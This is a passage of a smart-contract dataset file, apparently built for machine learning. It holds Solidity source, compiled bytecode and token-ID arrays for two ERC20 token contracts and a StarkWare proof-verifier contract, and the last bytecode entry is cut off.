[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,788
0x975b9f7b124e484bc67a244d19f723c2393f5dd5
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract BRoyalCoin is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function BRoyalCoin() { balances[msg.sender] = 60000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 60000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "BRoyal"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "BRC"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 8500; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610389578063095ea7b31461041757806318160ddd146104715780632194f3a21461049a57806323b872dd146104ef578063313ce5671461056857806354fd4d501461059757806365f2bc2e1461062557806370a082311461064e578063933ba4131461069b57806395d89b41146106c4578063a9059cbb14610752578063cae9ca51146107ac578063dd62ed3e14610849575b600034600854016008819055506007543402905080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561015357600080fd5b80600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561038657600080fd5b50005b341561039457600080fd5b61039c6108b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103dc5780820151818401526020810190506103c1565b50505050905090810190601f1680156104095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042257600080fd5b610457600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610953565b604051808215151515815260200191505060405180910390f35b341561047c57600080fd5b610484610a45565b6040518082815260200191505060405180910390f35b34156104a557600080fd5b6104ad610a4b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104fa57600080fd5b61054e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a71565b604051808215151515815260200191505060405180910390f35b341561057357600080fd5b61057b610cea565b604051808260ff1660ff16815260200191505060405180910390f35b34156105a257600080fd5b6105aa610cfd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ea5780820151818401526020810190506105cf565b50505050905090810190601f1680156106175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063057600080fd5b610638610d9b565b6040518082815260200191505060405180910390f35b341561065957600080fd5b610685600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610da1565b6040518082815260200191505060405180910390f35b34156106a657600080fd5b6106ae610de9565b6040518082815260200191505060405180910390f35b34156106cf57600080fd5b6106d7610def565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107175780820151818401526020810190506106fc565b50505050905090810190601f1680156107445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075d57600080fd5b610792600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e8d565b604051808215151515815260200191505060405180910390f35b34156107b757600080fd5b61082f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610ff3565b604051808215151515815260200191505060405180910390f35b341561085457600080fd5b61089f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611294565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561094b5780601f106109205761010080835404028352916020019161094b565b820191906000526020600020905b81548152906001019060200180831161092e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3d575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b495750600082115b15610cde57816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ce3565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d935780601f10610d6857610100808354040283529160200191610d93565b820191906000526020600020905b815481529060010190602001808311610d7657829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e855780601f10610e5a57610100808354040283529160200191610e85565b820191906000526020600020905b815481529060010190602001808311610e6857829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610edd5750600082115b15610fe857816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610fed565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015611234578082015181840152602081019050611219565b50505050905090810190601f1680156112615780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f192505050151561128957600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820023d4bef3343057578fc231acdcfcf4cd0b0c8ef029b7c65d2001aee91b5e4a90029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2497, 2683, 2546, 2581, 2497, 12521, 2549, 2063, 18139, 2549, 9818, 2575, 2581, 2050, 18827, 2549, 2094, 16147, 2546, 2581, 21926, 2278, 21926, 2683, 2509, 2546, 2629, 14141, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,789
0x975c00f91d85000c44e0a2a323cc2fc95363feb6
/** *Submitted for verification at Etherscan.io on 2020-10-29 */ /** *Submitted for verification at Etherscan.io on 2020-10-29 */ // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md pragma solidity ^0.4.21; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Yieldv2 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function Yieldv2( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x6060604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017357806323b872dd1461019857806327e235e3146101c0578063313ce567146101df5780635c6581651461020857806370a082311461022d57806395d89b411461024c578063a9059cbb1461025f578063dd62ed3e14610281575b600080fd5b34156100be57600080fd5b6100c66102a6565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101025780820151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b61015f600160a060020a0360043516602435610344565b604051901515815260200160405180910390f35b341561017e57600080fd5b6101866103b0565b60405190815260200160405180910390f35b34156101a357600080fd5b61015f600160a060020a03600435811690602435166044356103b6565b34156101cb57600080fd5b610186600160a060020a03600435166104bc565b34156101ea57600080fd5b6101f26104ce565b60405160ff909116815260200160405180910390f35b341561021357600080fd5b610186600160a060020a03600435811690602435166104d7565b341561023857600080fd5b610186600160a060020a03600435166104f4565b341561025757600080fd5b6100c661050f565b341561026a57600080fd5b61015f600160a060020a036004351660243561057a565b341561028c57600080fd5b610186600160a060020a036004358116906024351661060e565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561033c5780601f106103115761010080835404028352916020019161033c565b820191906000526020600020905b81548152906001019060200180831161031f57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a0380841660008181526002602090815260408083203390951683529381528382205492825260019052918220548390108015906103fa5750828110155b151561040557600080fd5b600160a060020a038085166000908152600160205260408082208054870190559187168152208054849003905560001981101561046a57600160a060020a03808616600090815260026020908152604080832033909416835292905220805484900390555b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405190815260200160405180910390a3506001949350505050565b60016020526000908152604090205481565b60045460ff1681565b600260209081526000928352604080842090915290825290205481565b600160a060020a031660009081526001602052604090205490565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561033c5780601f106103115761010080835404028352916020019161033c565b600160a060020a033316600090815260016020526040812054829010156105a057600080fd5b600160a060020a033381166000818152600160205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600260209081526040808320939094168252919091522054905600a165627a7a7230582078d55e8dfbe6881126ea07c28a7029f4ae21c5aeb10c01b77448b419cf9ce1660029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2278, 8889, 2546, 2683, 2487, 2094, 27531, 8889, 2692, 2278, 22932, 2063, 2692, 2050, 2475, 2050, 16703, 2509, 9468, 2475, 11329, 2683, 22275, 2575, 2509, 7959, 2497, 2575, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2184, 1011, 2756, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2184, 1011, 2756, 1008, 1013, 1013, 1013, 10061, 3206, 2005, 1996, 2440, 9413, 2278, 2322, 19204, 3115, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 2322, 1012, 9108, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,790
0x975DbD0C8e6F1527DeA5B8885DF2f5695Ec1A33D
/* Copyright 2019-2022 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; import "CpuVerifier.sol"; import "FriStatementVerifier.sol"; import "MerkleStatementVerifier.sol"; contract CpuFrilessVerifier is CpuVerifier, MerkleStatementVerifier, FriStatementVerifier { constructor( address[] memory auxPolynomials, address oodsContract, address memoryPageFactRegistry_, address merkleStatementContractAddress, address friStatementContractAddress, uint256 numSecurityBits_, uint256 minProofOfWorkBits_ ) public MerkleStatementVerifier(merkleStatementContractAddress) FriStatementVerifier(friStatementContractAddress) CpuVerifier( auxPolynomials, oodsContract, memoryPageFactRegistry_, numSecurityBits_, minProofOfWorkBits_ ) {} function verifyMerkle( uint256 channelPtr, uint256 queuePtr, bytes32 root, uint256 n ) internal view override(MerkleStatementVerifier, MerkleVerifier) returns (bytes32) { return MerkleStatementVerifier.verifyMerkle(channelPtr, queuePtr, root, n); } function friVerifyLayers(uint256[] memory ctx) internal view override(FriStatementVerifier, Fri) { FriStatementVerifier.friVerifyLayers(ctx); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80635b4c41c21161005b5780635b4c41c2146101ba5780638080fdfb146101c2578063b7a771f7146101e3578063e5b62b29146101eb5761007d565b80631cb7dd791461008257806329e10520146101985780634c14a6f9146101b2575b600080fd5b6101966004803603606081101561009857600080fd5b8101906020810181356401000000008111156100b357600080fd5b8201836020820111156100c557600080fd5b803590602001918460208302840111640100000000831117156100e757600080fd5b91939092909160208101903564010000000081111561010557600080fd5b82018360208201111561011757600080fd5b8035906020019184602083028401116401000000008311171561013957600080fd5b91939092909160208101903564010000000081111561015757600080fd5b82018360208201111561016957600080fd5b8035906020019184602083028401116401000000008311171561018b57600080fd5b5090925090506101f3565b005b6101a0610299565b60408051918252519081900360200190f35b6101a061029e565b6101a06102a3565b6101ca6102a8565b6040805192835260208301919091528051918290030190f35b6101a06102b0565b6101a06102b5565b61029186868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604080516020808a02828101820190935289825290935089925088918291850190849080828437600092019190915250506040805160208089028281018201909352888252909350889250879182918501908490808284376000920191909152506102ba92505050565b505050505050565b600281565b600381565b600181565b601490601f90565b606081565b600081565b60606102c68285610573565b905060006102d382610dac565b90506102f0816102e286610db3565b6102eb86610db6565b610def565b6102fb816001610e0c565b60001c8260068151811061030b57fe5b60200260200101818152505061031f610e21565b1561036d5761034681610330610e32565b6103418561033c610e37565b610e3d565b610ebf565b610351816001610e0c565b82518390600790811061036057fe5b6020026020010181815250505b61038581610379610fe1565b6103418561033c610fe6565b610390816001610e0c565b60001c826008815181106103a057fe5b6020026020010181815250506103be81600161034185610160610e3d565b60006103c8610fec565b9050805b6103d4610ff2565b8201811015610407576103e8836001610ff7565b8482815181106103f457fe5b60209081029190910101526001016103cc565b506104118361100c565b6104298261041d610ff2565b6103418661033c6111f9565b610434826001610e0c565b60001c836101318151811061044557fe5b602002602001018181525050600061045c846111ff565b519050600061046d85610127610e3d565b905060015b600183038110156104bf5761048e856001836020028501610ebf565b610499856001610e0c565b60001c868261013101815181106104ac57fe5b6020908102919091010152600101610472565b506104d4846001610341886101268701610e3d565b6104dd85611217565b6104fb84866003815181106104ee57fe5b602002602001015161135f565b61053e848660098151811061050c57fe5b602002602001015160018860008151811061052357fe5b60200260200101510361053789606d610e3d565b6060611451565b8560098151811061054b57fe5b60200260200101818152505061056085611520565b61056985611644565b5050505050505050565b606060058251116105e557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f496e76616c69642070726f6f66506172616d732e000000000000000000000000604482015290519081900360640190fd5b816004815181106105f257fe5b602002602001015160050182511461066b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f496e76616c69642070726f6f66506172616d732e000000000000000000000000604482015290519081900360640190fd5b60008260018151811061067a57fe5b6020026020010151905060108111156106de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806146976022913960400191505060405180910390fd5b6001811015610738576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806146186022913960400191505060405180910390fd5b60008360028151811061074757fe5b6020026020010151905060328111156107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806146eb6022913960400191505060405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000000811015610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061463a6025913960400191505060405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000050811061089c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806144306026913960400191505060405180910390fd5b6000846003815181106108ab57fe5b60200260200101519050600a81111561090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b81526020018061447d602b913960400191505060405180910390fd5b60008560048151811061091e57fe5b60200260200101519050600a81111561099857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f546f6f206d616e79206672692073746570732e00000000000000000000000000604482015290519081900360640190fd5b60018111610a0757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f7420656e6f756768206672692073746570732e0000000000000000000000604482015290519081900360640190fd5b60608167ffffffffffffffff81118015610a2057600080fd5b50604051908082528060200260200182016040528015610a4a578160200160208202803683370190505b50905060005b82811015610a8e57878160050181518110610a6757fe5b6020026020010151828281518110610a7b57fe5b6020908102919091010152600101610a50565b506000610a9a89611650565b9097509050610aaa828286611e01565b6000610ab888610126610e3d565b90508281528460020a8861013b81518110610acf57fe5b6020026020010181815250508